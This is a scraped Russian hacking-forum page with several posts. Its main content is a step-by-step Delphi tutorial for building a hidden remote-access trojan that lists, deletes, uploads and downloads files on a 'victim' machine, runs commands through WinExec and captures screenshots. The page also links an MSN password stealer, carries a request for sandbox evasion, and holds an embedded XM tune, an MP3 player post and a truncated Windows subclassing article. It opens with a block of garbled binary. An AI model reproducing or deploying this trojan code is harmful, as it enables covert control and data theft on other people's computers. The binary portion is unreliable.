wц…Ыя$•‘  Й  Щ  ~  й  с  ш    '  ~  1  3  ~  @  V  t€^|¶F|Ба)FГt€^}¶F}Ба
FГЂfzр^zГ‹Eш€X
Гu
‹Eь‹@ш‰FbГЉN^юЙy‰Щ€N^t	‹Fb‹Mь‰AГЂfzБг^zГБг‰^ЂГчЫt€^{ѕF{)F
Г‹Eи‹Uм‰F‹Eр‰FЖ ‰V
Г‹MьЇYр‰YьГ‹FфUЉ\0,‹Fшчf‹TЩЌЂ…Т‰е„ю   
РVP‹FБаV‹vFF
рP¶~
‹Uьiя
  ¶Fюzа™ЉD8@<s‹‡…ТuєX"
 1ЫWR‰^‰^€ц‡
  
t	°‰щихяяц‡	
  
tMќЙ д]TдTдѓTд‡Tд‹TдЏTд“Tд—Tд›TдџTдЈTд§Tд«TдЇTдіTд·Tд»TдїTдГTдЗTдЛTдПTдУTдЧTдЫTдЯTдгTдзTдлTдпTдуTдчTдыTдяTжҐTж©Tж*Tж±TжµTж№TжЅTжБTжЕTжЙTжНTжСTжХTжЩTжЭTзРT	*юв	°‰щихяя8^:t·‡
  )FFy‰^FЂ‹Eш¶@‰ББиЂб,t,Ht+,tHHtHt
Hu#иЁфяялчЩ)NЂл€NsиuфяялчЩ
N
Ђ‹Uш¶Z‰Щѓг¶BАй<wя…Ђ  и’  ѓоЂXѓEш9ЖЊяяя^ЙГ@  9    Ф  µ  я  ш  Г              p      P                &    Ћ    U
  иёуяялиРуяя1ЙЉNl‰ИѓаБйt‘чШ)F
ЂГЉFh‹NЌЃѓщ
}j
Y‰Nѓf Ђ
ГЉFhчШла8jvH‹Eь‹@мj™_чяJtJu3‰Щ‹Eьц@&
tБб‰Nл ¶Ff‰З
И‹L$и‰тяя—‹L$итяя)З‰~Ђ
ГЉNo…Йt+‹Eь‹@м™чщ…ТuЉNnѓбЂI‹F
xЂяЌк  ‰F
HHГѓиѓиѓиГСаj™YчщГЌ@СшГ@@ГѓАѓАѓАГСаГї  ѕ  З  Д  Б  Л  Ч  й  Ы  Ъ  г  а  Э  Ф  з  ЉNm‰Иѓа‹VБйu)Вy‰Кл
С™юК9С‰К‰VЂГ‹Mь‹QиЉA!ЁрuѓачШлБи
В‹Mь‰QиГЂщ	tuЂйt`юЙu[‹Mь1А9YмuO‹T$ЗFF  
 ¶RЌH	‰V
‹VBЌ~9СТѓв@‰VBу«ЉNzЂщO}€FtцБu€Fq‹FRЂ‰F‹Eш¶Pйуяя€Г‹Mь9Yмuѓf
 ЂГ…Ыt‹Eь‹@м™чы…ТuЂГ‰уVW‹t$1А¶–

  Ќ{6Jx%°ЂtJt
ІЂ+¶Т)РСшл7‹)Влс9Т!ВЌBАл&‹‰КѓбѓщAѓРя1Б%Ѓ   
ББк¶Ѓx  Т1Р)Р¶–
  ЇР¶†
  …АtW—‹C2чкчя’—_Бъ
S‹S2B9В~
’¶†

  ‰S2цЬЂ
цЬЂЬ ‰‹sцtDѓ~, t'‰с+
4   БйяѓзЂЌ|>@Wj‰{YуҐ‰NФ‰Nа‰NЯќЕ д‚TдћTдўTд¦TдЄTд®TдІTд¶TдєTдѕTдВTдЖTдКTдОTдТTдЦTдЪTдЮTдвTджTдкTдоTдтTдцTдъTдюTеTеTе
TеTеTеХTжTжTжTжTжTжTж Tж$Tж(Tж,Tж0Tж4Tж8Tж<Tж@TзuTзЩTH*
Ьд^Ќ~,‹D$«1А‹V««««‰F‰V1ЙюЙцtF‹C
C‰ВБа)Рч-    чТ!Р= р ~ё р чcBчcFБк‹F‰‰Ччкчщ‰F‰И+Fчпчщ‰FцtCїЂ   ‹C)ш™1Р)Р)З‹CNБяѓи чпC™чТ!Р‹>9И‰К—sчпчщ‰ъ’‰F‰VцРч.чщ‰Fц
ta‹K1ТKЌB(~EцJ   
uёђwЪ чс1Тл1ё   +CCPЫ$Ш
А  ЩАЩьЬйЩЙЩрЩиЮБЩэЭЩШ
Д  Ы$X»Ђ»  чу‰Fчу‰F_^В iќ д1TдДTдзTдяTЌ‹  s

вот пример xm файла с мелодией переведенной в hex

Code:Copy to clipboard

const
xm : array[1..905] of Byte = (
	$45,$78,$74,$65,$6E,$64,$65,$64,$20,$4D,$6F,$64,$75,$6C,$65,$3A,
	$20,$73,$6F,$66,$74,$20,$6D,$61,$6E,$69,$61,$63,$2D,$6D,$69,$6E,
	$69,$6D,$61,$6C,$00,$1A,$00,$00,$00,$00,$00,$00,$00,$00,$00,$00,
	$00,$00,$00,$00,$00,$00,$00,$00,$00,$00,$04,$01,$34,$00,$00,$00,
	$20,$00,$00,$00,$02,$00,$0D,$00,$01,$00,$01,$00,$0A,$00,$91,$00,
	$00,$01,$02,$03,$04,$05,$06,$07,$00,$01,$02,$03,$04,$05,$06,$07,
	$08,$09,$0A,$0B,$08,$09,$0C,$0B,$08,$09,$0A,$0B,$08,$09,$0C,$0B,
	$09,$00,$00,$00,$00,$04,$00,$01,$00,$83,$16,$01,$80,$80,$2E,$01,
	$00,$0E,$60,$80,$3A,$01,$00,$0E,$62,$81,$61,$83,$35,$01,$09,$00,
	$00,$00,$00,$04,$00,$01,$00,$83,$16,$01,$80,$80,$2E,$01,$00,$0E,
	$60,$80,$35,$01,$00,$0E,$62,$81,$61,$83,$38,$01,$09,$00,$00,$00,
	$00,$04,$00,$01,$00,$83,$16,$01,$80,$80,$2E,$01,$00,$0E,$60,$80,
	$38,$01,$00,$0E,$62,$80,$83,$33,$01,$09,$00,$00,$00,$00,$06,$00,
	$01,$00,$83,$16,$01,$80,$80,$2E,$01,$00,$0E,$60,$80,$33,$01,$00,
	$0E,$61,$81,$61,$83,$35,$01,$83,$0D,$01,$83,$36,$01,$80,$83,$36,
	$01,$09,$00,$00,$00,$00,$04,$00,$01,$00,$83,$0F,$01,$80,$80,$2E,
	$01,$00,$0E,$60,$80,$36,$01,$00,$0E,$62,$81,$61,$83,$33,$01,$09,
	$00,$00,$00,$00,$06,$00,$01,$00,$83,$0F,$01,$80,$80,$2E,$01,$00,
	$0E,$60,$80,$33,$01,$00,$0E,$61,$81,$61,$83,$2E,$01,$83,$12,$01,
	$83,$33,$01,$80,$83,$35,$01,$09,$00,$00,$00,$00,$06,$00,$01,$00,
	$83,$16,$01,$80,$80,$2E,$01,$00,$0E,$60,$80,$35,$01,$00,$0E,$61,
	$81,$61,$83,$2E,$01,$83,$0D,$01,$83,$31,$01,$80,$83,$2E,$01,$09,
	$00,$00,$00,$00,$08,$00,$01,$00,$83,$12,$01,$98,$0A,$01,$83,$19,
	$01,$88,$0A,$83,$1E,$01,$81,$61,$83,$12,$01,$80,$83,$14,$01,$80,
	$83,$1B,$01,$80,$83,$20,$01,$80,$83,$14,$01,$80,$09,$00,$00,$00,
	$00,$08,$00,$01,$00,$83,$12,$01,$81,$61,$83,$19,$01,$80,$83,$1E,
	$01,$80,$83,$12,$01,$80,$83,$19,$01,$83,$31,$01,$83,$1E,$01,$80,
	$83,$12,$01,$83,$31,$01,$83,$19,$01,$80,$09,$00,$00,$00,$00,$08,
	$00,$01,$00,$83,$14,$01,$83,$33,$01,$83,$1B,$01,$80,$83,$20,$01,
	$83,$31,$01,$83,$14,$01,$80,$83,$1B,$01,$83,$30,$01,$83,$20,$01,
	$80,$83,$14,$01,$83,$31,$01,$83,$1B,$01,$80,$09,$00,$00,$00,$00,
	$08,$00,$01,$00,$83,$16,$01,$83,$30,$01,$83,$1D,$01,$83,$31,$01,
	$83,$22,$01,$83,$35,$01,$83,$16,$01,$98,$0A,$01,$83,$1D,$01,$88,
	$0A,$83,$22,$01,$81,$61,$83,$16,$01,$80,$83,$1D,$01,$80,$09,$00,
	$00,$00,$00,$08,$00,$01,$00,$83,$16,$01,$80,$83,$1D,$01,$80,$83,
	$22,$01,$80,$83,$16,$01,$80,$83,$18,$01,$80,$83,$1D,$01,$80,$83,
	$11,$01,$80,$83,$18,$01,$80,$09,$00,$00,$00,$00,$08,$00,$01,$00,
	$83,$16,$01,$83,$30,$01,$83,$1D,$01,$83,$31,$01,$83,$19,$01,$83,
	$2E,$01,$83,$16,$01,$98,$0A,$01,$83,$1D,$01,$88,$0A,$83,$19,$01,
	$81,$61,$83,$16,$01,$80,$83,$1D,$01,$80,$F1,$00,$00,$00,$00,$00,
	$00,$00,$00,$00,$00,$00,$00,$00,$00,$00,$00,$00,$00,$00,$00,$00,
	$00,$00,$00,$00,$27,$01,$00,$12,$00,$00,$00,$00,$00,$00,$00,$00,
	$00,$00,$00,$00,$00,$00,$00,$00,$00,$00,$00,$00,$00,$00,$00,$00,
	$00,$00,$00,$00,$00,$00,$00,$00,$00,$00,$00,$00,$00,$00,$00,$00,
	$00,$00,$00,$00,$00,$00,$00,$00,$00,$00,$00,$00,$00,$00,$00,$00,
	$00,$00,$00,$00,$00,$00,$00,$00,$00,$00,$00,$00,$00,$00,$00,$00,
	$00,$00,$00,$00,$00,$00,$00,$00,$00,$00,$00,$00,$00,$00,$00,$00,
	$00,$00,$00,$00,$00,$00,$00,$00,$00,$00,$00,$00,$00,$40,$00,$08,
	$00,$2C,$00,$0E,$00,$08,$00,$18,$00,$16,$00,$20,$00,$08,$00,$2D,
	$00,$0D,$00,$32,$00,$04,$00,$3C,$00,$07,$00,$44,$00,$04,$00,$5A,
	$00,$00,$00,$64,$00,$00,$00,$6E,$00,$00,$00,$00,$00,$20,$00,$0A,
	$00,$28,$00,$1E,$00,$18,$00,$32,$00,$20,$00,$3C,$00,$20,$00,$46,
	$00,$20,$00,$50,$00,$20,$00,$5A,$00,$20,$00,$64,$00,$20,$00,$6E,
	$00,$20,$00,$78,$00,$20,$00,$82,$00,$20,$00,$09,$06,$01,$02,$04,
	$02,$03,$05,$01,$00,$00,$00,$00,$00,$80,$00,$0C,$00,$00,$00,$00,
	$00,$00,$00,$0C,$00,$00,$00,$40,$00,$01,$80,$F9,$00,$BF,$00,$C3,
	$00,$0A,$00,$57,$00,$6E,$00,$23,$00
);  

теперь вот таким вот не хитрым путем мы вгоняем её на форму...

Code:Copy to clipboard

procedure TForm2.FormCreate(Sender: TObject);
begin
if uFMOD_PlaySong(@xm,Length(xm),XM_MEMORY) <> nil then
	begin
  { Wait for user input. }
  form2.show;
	end;
end;

procedure TForm2.FormClose(Sender: TObject; var Action: TCloseAction);
begin
uFMOD_StopSong;
end;

p.s. принято считать что мелодия должна проигрываться при выводе формы about , но решать вам

by demien. © 2009.
www.execryptor.ru​

вот мой mp3 player...
работает с mp3 файлами, при открытии сканирует выбранную вами директорию на мп3 файлы и добавляет в список, есть функция вывода и информации о mp3. поддержка скинов.

Название: windoom.rar
Размер: 463.64 кб
Описание: my mp3 player

Ссылка для скачивания файла качать тут_

================================
source

Название: WinDoom mp3 player source.rar
Размер: 337.46 кб
Ссылка для скачивания файла: качать тут_

проект мне не интересен (писал для курсовой) и у меня нет жеалния его развивать, если кому-нибудь интересна эта тема, стучите в ПМ или в асю, я расскажу пасс от архива...

[INTRO]
Привет.В этой статье я раскажу как написать простой файловый менеджер или бектор на Delphi.Писать будем на Delphi 7 используя Indy.
[Клиент]
Сначала запустим Delphi , и создадим новый проэкт.
Кинь на форму:
- 6 TEdit'ов ,
- 6 TButton ,
- 1 TMemo ,
- 6 TGroupBox ,
- 1 TIdTCPServer,
- 7 TIdUDPClient ,
- 1 TIdUDPServer ,
- 1TSaveDialog.
В глоальных переменных обьявим:

Code:Copy to clipboard

var
  ServerStream    :    TFileStream;
  first_          :    boolean=true;
  get_buffers     :    integer;
  get_buf_num     :    integer;

Теперь нам нужно переименовать IdUDPClient1 в Cl,порт - 1111 , и свойство Active - True;
IdUDPClient2 в RCl,порт - 1221 , и свойство Active - True;
IdUDPClient3 в UPCl,порт - 1441 , и свойство Active - True;
IdUDPClient4 в Xz,порт - 3232 , и свойство Active - True;
IdUDPClient5 в DCl,порт - 1331 , и свойство Active - True;
IdUDPClient6 в SCCl,порт - 1881 , и свойство Active - True;
IdUDPClient7 в ECl,порт - 1551 , и свойство Active - True;

SaveDialog1 в rrr.

Теперь кликни 2 раза по Button1 и напиши туда этот код:

Code:Copy to clipboard

Cl.Host:=Edit2.text;
dcl.Host:=Edit2.text;
ecl.Host:=Edit2.text;
rcl.Host:=Edit2.text;
sccl.Host:=Edit2.text;
upcl.Host:=Edit2.text;
xz.Host:=Edit2.text;
IdTCPClient1.Host:=Edit2.Text;
Cl.Send(Edit1.text+'*.*');

По нажатию этой кнопки мы будем коннектится к серверу.
Кликни по Button2 и напиши:

Code:Copy to clipboard

rcl.Send(Edit3.text);

По нажатию на эту кнопку будет удалятся файл который находится на сервере,его нужно указывать в Edit3.text.
Button3:

Code:Copy to clipboard

dcl.Send(edit4.text);
IdTCPClient1.Host:=Edit2.text;
IdTCPClient1.Connect();

По нажатию на эту кнопку мы будем скичавать файл с сервера который указали в Edit4.text
Button4:

Code:Copy to clipboard

upcl.Send('f');
upcl.Send(Edit5.Text);
IdTCPClient1.Connect();

Заливаем жертве файл(он стандартно будет лится в С:\WINDOWS\ и к имени файла будет добавлятся "_".
Button5:

Code:Copy to clipboard

ecl.Send(edit6.text);

Это кнопка для запуска файлов на удалённой тачке.
Button6:

Code:Copy to clipboard

xz.Send('f');
IdTCPClient1.Connect();

Делаем скрин на удалённой тачке и отсылаем его себе=)

С кнопками наканецто закончили,как ті понял будем отправлять каманді серверу а он на них будет отвечать.Теперь нам нужно зделать передачу файлов между клиентом и сервером.
НАйди на форме IdTPCServer1 , и в Evens кликни на OnConnect и в пиши такой код:

Code:Copy to clipboard

var
FileToSend: String;
FileSize: Cardinal;
p: Pointer;
begin
FileToSend :=Edit5.text;
with TFileStream.Create(FileToSend, fmOpenRead) do
try
FileToSend := ExtractFileName(FileToSend) + #00;
GetMem(p, 256);
try
CopyMemory(p, @FileToSend[1], Length(FileToSend));
AThread.Connection.Socket.Send(p^, 256);
finally
FreeMem(p);
end;
FileSize := Size;
AThread.Connection.Socket.Send(FileSize, SizeOf(FileSize));
GetMem(p, Size);
try
ReadBuffer(p^, Size);
AThread.Connection.Socket.Send(p^, Size);
finally
FreeMem(p);
end;
finally
Free;
end;
AThread.Connection.Disconnect;

Это функция для отправки файла , теперь нам нужно создать функцию чтобы мы могли скачивать любой файл с компа жертвы.
Ищем IdTPССlient1 и в событиях кникни на OnConnected и напиши там этот код:

Code:Copy to clipboard

var
FileName: PChar;
FileSize: Cardinal;
FS: TFileStream;
begin
if rrr.execute then
GetMem(FileName, 256);
try
IdTCPClient1.ReadBuffer(FileName^, 256);
IdTCPClient1.ReadBuffer(FileSize, SizeOf(FileSize));
FS := TFileStream.Create(rrr.filename+FileName, fmCreate);
try
IdTCPClient1.ReadStream(FS, FileSize);
finally
FS.Free;
end; 
finally
FreeMem(FileName); 
end;

И так с клиентом закончили , попробуй его компилировать ,запустить и сохранить.
Диз клиента у меня такой:

[Сервер]
С клиентом наконецто мы закончили.
Теперь приступим к разработке сервера.
Создай новый проект,и кинь на форму:
- 1 TMemo
- 6 TIdUDPServer
- 1 TIdUDPClient
- 1 TIdTPCClient
- 1 TIdTPCServer
- 1 TImage
...
переименуй некоторіе компоненты так,чтобы было как тут:

Code:Copy to clipboard

Memo1: TMemo;
    cl: TIdUDPClient;
    sr: TIdUDPServer;
    cmf: TIdUDPServer;
    wex: TIdUDPServer;
    rem: TIdUDPServer;
    ddl: TIdUDPServer;
    IdTCPServer1: TIdTCPServer;
    IdTCPClient1: TIdTCPClient;
    IdUDPServer1: TIdUDPServer;
    Image1: TImage;

Добавим глобальные переменные :

Code:Copy to clipboard

SDir        :    string;
  get_accept  :    boolean;
  UFile       :    string;
  pg          :    string;

Теперь напишем процедуру которая будет искать все файлы в выбраной нами директории и отправлять нам на клиент.

Code:Copy to clipboard

procedure find;
var
  search:Tsearchrec;
  CDir:string;
  n:integer;
  r: integer;
begin
if findfirst(SDir,faAnyFile,search)=0 then
repeat
if (search.Attr and faAnyFile)=search.Attr then  begin
form1.Memo1.Lines.Add(Cdir+search.Name);
inc(n);
end;
until findnext(search)<>0;
if findfirst('*',faAnyFile,search)=0 then
repeat
if (search.Attr and faDirectory)=faDirectory then
if search.Name[1]<>'.' then begin
chdir(search.Name);
find;
chdir('..');
end;
until findnext(search)<>0;
end;

Теперь найдём на форме upd server который мы переименовали в sr.
В собитиях на ServerRead пишем:

Code:Copy to clipboard

var
 s:TStringStream;
 f:string;
begin
 s:=TStringStream.Create('');
 s.CopyFrom(Adata,adata.size);
 sdir:=s.DataString;
 abinding.sendto(abinding.peerip,abinding.peerport,f[1],length(f));
 find;
 cl.Host:=abinding.peerip;
 cl.Send(memo1.text);

Теперь найдём rem и зделаем тоже самое что и мыше только запишем немного другой код:

Code:Copy to clipboard

var
 e:TStringStream;
 d:string;
begin
 e:=TStringStream.Create('');
 e.CopyFrom(Adata,adata.size);
 DeleteFile(e.DataString);
 abinding.sendto(abinding.peerip,abinding.peerport,d[1],length(d));

Так же ищем wex и пишем:

Code:Copy to clipboard

var
 g:TStringStream;
 t:string;
begin
 g:=TStringStream.Create('');
 g.CopyFrom(Adata,adata.size);
 WinExec(PChar(g.DataString),sw_show);
 abinding.sendto(abinding.peerip,abinding.peerport,t[1],length(t));

Теперь ищем upl и пишем:

Code:Copy to clipboard

var
 l:TStringStream;
 k:string;
 p:string;
begin
 l:=TStringStream.Create('');
 l.copyfrom(adata,adata.size);
 UFile:=l.datastring;
 abinding.SendTo(abinding.PeerIP,abinding.peerport,k[1],length(k));

гг...Теперь ищем ddl и код:

Code:Copy to clipboard

var
 l:TStringStream;
 k:string;
begin
 l:=TStringStream.Create('');
 l.copyfrom(adata,adata.size);
 pg:=l.datastring;
 abinding.SendTo(abinding.PeerIP,abinding.peerport,k[1],length(k));

Теперь найдём IdTPCServer и в событии OnConnect пишем:

Code:Copy to clipboard

var
FileToSend: String;
FileSize: Cardinal;
p: Pointer;
begin
FileToSend :=pg;
with TFileStream.Create(FileToSend, fmOpenRead) do
try
FileToSend := ExtractFileName(FileToSend) + #00;
GetMem(p, 256);
try
CopyMemory(p, @FileToSend[1], Length(FileToSend));
AThread.Connection.Socket.Send(p^, 256);
finally
FreeMem(p);
end;
FileSize := Size;
AThread.Connection.Socket.Send(FileSize, SizeOf(FileSize));
GetMem(p, Size);
try
ReadBuffer(p^, Size);
AThread.Connection.Socket.Send(p^, Size);
finally
FreeMem(p);
end;
finally
Free;
end;
AThread.Connection.Disconnect;

Ищем IdTPCClient1 и пишем=) :

Code:Copy to clipboard

var
FileName: PChar;
FileSize: Cardinal;
FS: TFileStream;
begin
 
GetMem(FileName, 256);
try
IdTCPClient1.ReadBuffer(FileName^, 256);
IdTCPClient1.ReadBuffer(FileSize, SizeOf(FileSize));
FS := TFileStream.Create('C:\WINDOWS\'+'_'+FileName, fmCreate);
try
IdTCPClient1.ReadStream(FS, FileSize);
finally
FS.Free;
end;
finally
FreeMem(FileName);
end;

гг....устал?иди попей пиваса и продалжим писать трой дальше=)

всё?
ну ок,тогда ищи просто IdUDPServer1(который мы непереименовывали=))
и пиши в собітии ServerRead :

Code:Copy to clipboard

var
 s:TStringStream;
 f,g:string;
 
begin
 s:=TStringStream.Create('');
 s.copyfrom(adata,adata.size);
 g:=s.datastring;
 pg:=s.DataString;
 if g = 'f' then
 IdTCPClient1.Host:=ABinding.PeerIp;
 IdTCPClient1.Connect();
 ABinding.SendTo(ABinding.PeerIP,ABinding.PeerPort,f[1],length(f));

о_О
всё.
теперь напишем процедуру для снятия скриншота с экрана:

Code:Copy to clipboard

procedure ScreenShot(x: Integer;
                     y: Integer;
                     Width: Integer;
                     Height: Integer;
                     bm: TBitMap   );
var
 dc: HDC;
 lpPal: PLOGPALETTE;
begin
if ((Width = 0) or  (Height = 0)) then
Exit;
bm.Width  := Width;
bm.Height := Height;
dc := GetDc(0);
if (dc = 0) then
Exit;
if (GetDeviceCaps(dc, RASTERCAPS) and
RC_PALETTE = RC_PALETTE) then
begin
GetMem(lpPal,
SizeOf(TLOGPALETTE) +
(255 * SizeOf(TPALETTEENTRY)));
FillChar(lpPal^,
SizeOf(TLOGPALETTE) +
(255 * SizeOf(TPALETTEENTRY)),#0);
lpPal^.palVersion := $300;
lpPal^.palNumEntries:=GetSystemPaletteEntries(dc,0,256,lpPal^.palPalEntry);
if (lpPal^.PalNumEntries <> 0) then
bm.Palette := CreatePalette(lpPal^);
FreeMem(lpPal, SizeOf(TLOGPALETTE)+(255 * SizeOf(TPALETTEENTRY)));
end;
BitBlt(bm.Canvas.Handle,0,0,Width,Height,Dc,x,y,SRCCOPY);
ReleaseDc(0, dc);
end;

Теперь чтобы снять скриншот и сохранить нам понадобится такая процедура:

Code:Copy to clipboard

procedure screen;
var
x,y: integer;
begin
x:=Mouse.CursorPos.X;
y:=Mouse.CursorPos.Y;
ScreenShot(1,1,1300,900, Form1.Image1.Picture.Bitmap);
form1.image1.Picture.SaveToFile('C:\WINDOWS\'+'1.bmp');
end;

и теперь ищи сmf и при чтении сервера пиши:

Code:Copy to clipboard

var
 s:TStringStream;
 f,g:string;
begin
  s:=TStringStream.Create('');
 s.copyfrom(adata,adata.size);
 g:=s.datastring;
 if g = 'scr' then
 screen;
 pg:='C:\WINDOWS\1.bmp';
 ABinding.SendTo(ABinding.PeerIP,ABinding.PeerPort,f[1],length(f));

о_О!
ну вот и всё=)
компилируй запускай и трой готов=)
ээээ.....если хочеш чтобы неотображалась главная форма то вверху выбери Project=>View Source
и добавь

Code:Copy to clipboard

Application.ShowMainForm:=false;

[END]
вот теперь всё=)
бугага)
сохраняй проект и ппц)
кста это просто пример как можно написать бектор=)
ево лучше доделать и потом юзать=)
и еще минус в том что он очень много весит=(
гы если есть в статье ошибки то исправте=)
а они полюбому есть=)
(С) TROYAN | core32.org
-----------------------------------------------------------
Скачать сорцы клиента и сервера можно здесь!
Пароль на архив - coolhack

[mod][TheSADIST:] Ещё один копипаст и бан... КУЛХАК БЛИН Мозгов от этого не прибавляется....[/mod]

Запостите пожалуйста семпл обхода threatexpert на Delphi.

Скачать сорц (дельфи)

Выводит пароли от MSN.

сорц: скачать

Дешифратор, а вернее использование dll для посмотреть пароль.

Сорц: скачать

В данной статье я постараюсь рассказать об использовании двух мощных средств технологии Windows API - сабклассинга и суперклассинга. Все примеры к статье были составлены мною. Вы найдете их в прикрепленном к статье файле.

Сабклассинг

Сабклассинг (subclassing) - контроль сообщений окон путем модификации оконной процедуры последних. Сабклассинг подразумевает использование изменённой оконной процедуры до оригинальной (а её можно вовсе и не использовать), позволяя нам создать сколь угодно заготовок оконных процедур для данного объекта. Хотя на практике обычно используется только одна.

Оконная процедура

Оконная процедура(window procedure) - специальная функция любого окна, имеющего дескриптор, которая принимает и обрабатывает все поступающие окну сообщения (от других программ или от Windows). Оконная процедура является косвенно вызываемой (callback) пользовательской (user-defined) функцией. Соответственно, реакцию на сообщения задаёт программист.

Оконная процедура - самое существенное из всего того, что принадлежит окну, поэтому сабклассинг является очень мощной технологией, необходимой для полноценной работы с Windows API. Важно уметь правильно обрабатывать сообщения, чтобы использовать сабклассинг.

Оконная процедура обычно назначается при создании окна, когда заполняется структура класса последнего TWndClass(Ex).

Оконная процедура имеет такой прототип:
код Pascal/Delphi

Code:Copy to clipboard

  Function XWindowProc(HWnd: THandle; Msg: Cardinal; 
  WParam, LParam: Integer): Integer; Stdcall;

Где X - любой префикс (можно и опустить), по которому можно идентифицировать
нужную оконную процедуру (например, Edit или New).

Рассмотрим, какие параметры передаются при вызове оконной процедуры. В параметре HWnd передаётся дескриптор окна, классу которого принадлежит оконная процедура. В параметре Msg передаётся идентификатор поступившего сообщения. В параметрах WParam и LParam передаётся дополнительная информация, которая зависит от типа посланного сообщения.

Возвращаемый функцией результат должен определить программист.

Рекомендуется обрабатывать сообщения через оператор Case:
код Pascal/Delphi

Code:Copy to clipboard

  Case Msg Of
  WM_DESTROY:
End;

Чтобы сообщение не обрабатывалось оригинальной оконной процедурой, необходимо после своих действий осуществить выход из блока Case:
код Pascal/Delphi

Code:Copy to clipboard

  Case Msg Of
  WM_CLOSE:
    Begin
      MessageBox(0, 'WM_CLOSE', 'Caption', MB_OK);
      { Осуществляем выход из текущей процедуры }  
      Exit;
    End;
End;

Этот способ применяется также для того, чтобы функция DefWindowProc не обрабатывала сообщение. Данная функция предназначена для выполнения стандартных действий системы при поступлении очередного сообщения. В сабклассинге она практически не используется (её роль выполняет оригинальная оконная процедура, в которой, быть может, и находится вызов DefWindowProc).

Для вызова оконной процедуры по её адресу используется функция CallWindowProc. По параметрам она аналогична любой оконной процедуре, но помимо этого она имеет еще один параметр, определяющий адрес требуемой оконной процедуры для вызова (параметр первый).
код Pascal/Delphi

Code:Copy to clipboard

  ...
{ Тип первого параметра представляет собой простой указатель }
TFarProc = Pointer; 
TFNWndProc = TFarProc;
...
Function CallWindowProc(lpPrevWndFunc: TFNWndProc; HWnd: HWND; Msg: Cardinal;
  WParam: Integer; LParam: Integer): Integer; Stdcall;

Функция CallWindowProc позволяет нам, по сути, менять поведение окна, ведь мы можем сабклассировать его множество раз с сохранением адресов оконных процедур, а потом вызывать нужные оконные процедуры по надобности. Но на практике эта функция используется для вызова одной оригинальной оконной процедуры окна, которая была до его сабклассирования.

После детального рассмотрения основ сабклассинга непосредственно перейдём к его реализации в Delphi.

Примечание: суперклассинг, как один из видов сабклассинга, будет описан далее отдельно!

Примечание: сабклассинг для окон, принадлежащих чужим процессам, в данной статье не рассматривается! В частности, для начинающих программистов он достаточно сложен.

Основная функция сабклассирования окна: SetWindowLong. Вообще, эта функция предназначена для изменения определённого атрибута окна (функция может изменять атрибут как самого окна, так и атрибут его класса). Рассмотрим её параметры.

Объявление функции:
код Pascal/Delphi

Code:Copy to clipboard

  Function SetWindowLong(HWnd: HWND; nIndex: Integer;
  dwNewLong: LongInt): LongInt; Stdcall;

Параметр HWnd определяет окно, с которым будет производиться работа. Параметр nIndex определяет индекс аттрибута, который мы хотим изменить. Пока нас будут интересовать значения GWL_WNDPROC и GWL_USERDATA. Первый индекс определяет, что изменения затронут оконную процедуру окна, второй - то, что будет изменена специальная внутренняя четырёхбайтовая переменная, которой обладает каждое окно. В ней удобно хранить адрес старой оконной процедуры при сабклассинге.

Рассмотрим, как по шагам засабклассировать окно.
Создаём заготовку новой оконной процедуры;
Помещаем в переменную GWL_USERDATA адрес старой оконной процедуры;
Изменяем адрес оконной процедуры на новый.
Последние два действия можно объединить в одно, так как функция SetWindowLong возвращает предыдущее значение изменённого параметра.

Далее я публикую примеры кода, в которых будут рассмотрены способы сабклассирования окон как средствами VCL, так и средствами WinAPI. Все примеры кода хорошо комментированы.

Сабклассинг окон на VCL

В VCL на компонентном уровне сабклассинг реализуется достаточно просто и быстро. Его использование предпочтительней, чем использование сабклассинга на WinAPI (разумеется, при программировании с VCL) - всегда, если возможно, делайте сабклассинг именно через VCL. Для сабклассирования оконного компонента необходимо расширить его функциональность путём добавления обработчика желаемого сообщения, либо через перекрытие оконной процедуры компонента.

Ниже приведен пример сабклассирования компонента TEdit таким образом, чтобы последний не реагировал на вставку текста:
код Pascal/Delphi

Code:Copy to clipboard

  Unit UMain;

Interface

Uses
  Windows, Messages, SysUtils, Classes,
  Graphics, Controls, Forms, Dialogs,
  StdCtrls;

Type
  TMainForm = Class(TForm)
    procedure FormCreate(Sender: TObject);
    procedure FormDestroy(Sender: TObject);
  Private
    { Private declarations }
  Public
    { Public declarations }
  End;

  { Новый класс с дополнительным методом,
   который вызвается при сообщении WM_PASTE }
   
  TNewEdit = Class(TEdit)
  Protected
    { Обработчик сообщения } 
    Procedure WMCopy(Var Msg: TWMPaste); Message WM_PASTE;
  End;

Var
  MainForm: TMainForm;
  { Экземпляр нового класса }
  Edit: TNewEdit;

Implementation

{$R *.dfm}

{ TNewEdit }

// Сначала создаём объект на форме

Procedure TMainForm.FormCreate(Sender: TObject);
Begin
  { Создание и размещение компонента на форме }
  Edit := TNewEdit.Create(Self);
  Edit.Parent := Self;
  Edit.Left := 8;
  Edit.Top := 8;
  Edit.Width := MainForm.Width - 23;
  { Следующий метод работать не будет }
  Edit.PasteFromClipboard;
End;

//А потом уже работаем непосредственно с объектом

Procedure TNewEdit.WMCopy(Var Msg: TWMPaste);
Begin
  { Игнорируем сообщение }
  Msg.Result := 0;
End;



Procedure TMainForm.FormDestroy(Sender: TObject);
Begin
  Edit.Free;
End;

End.

Таким образом, чтобы засабклассировать оконный компонент, нужно просто реализовать свой обработчик сообщений. Есть еще один способ, который заключается в модификации оконной процедуры компонента на VCL-уровне:
код Pascal/Delphi

Code:Copy to clipboard

  Unit UMain;

Interface

Uses
  Windows, Messages, SysUtils, Classes,
  Graphics, Controls, Forms, Dialogs,
  StdCtrls;

Type
  TMainForm = Class(TForm)
    procedure FormCreate(Sender: TObject);
    procedure FormDestroy(Sender: TObject);
  Private
    { Private declarations }
  Public
    { Public declarations }
  End;
     
  TNewEdit = Class(TEdit)  
  Protected
    { Перекрытая оконная процедура компонента }
    Procedure WndProc(Var Msg: TMessage); Override;
  End;

Var
  MainForm: TMainForm;
  { Экземпляр нового класса }
  Edit: TNewEdit;

Implementation

{$R *.dfm}

{ TNewEdit }

Procedure TMainForm.FormCreate(Sender: TObject);
Begin
  { Создание и размещение компонента на форме }
  Edit := TNewEdit.Create(Self);
  Edit.Parent := Self;
  Edit.Left := 8;
  Edit.Top := 8;
  Edit.Width := MainForm.Width - 23;
  { Следующий метод работать не будет }
  Edit.PasteFromClipboard;
End;


Procedure TNewEdit.WndProc(Var Msg: TMessage);
Begin
  Case Msg.Msg Of
    WM_PASTE:
      Begin
        Msg.Result := 0;
        { Звуковой сигнал, оповещающий пользователя о
          невозможности вставки текста }
        MessageBeep(0);
        { Выход после обработки необходим, чтобы
          оригинальная оконная процедура не имела
          возможности обработать WM_PASTE; в противном
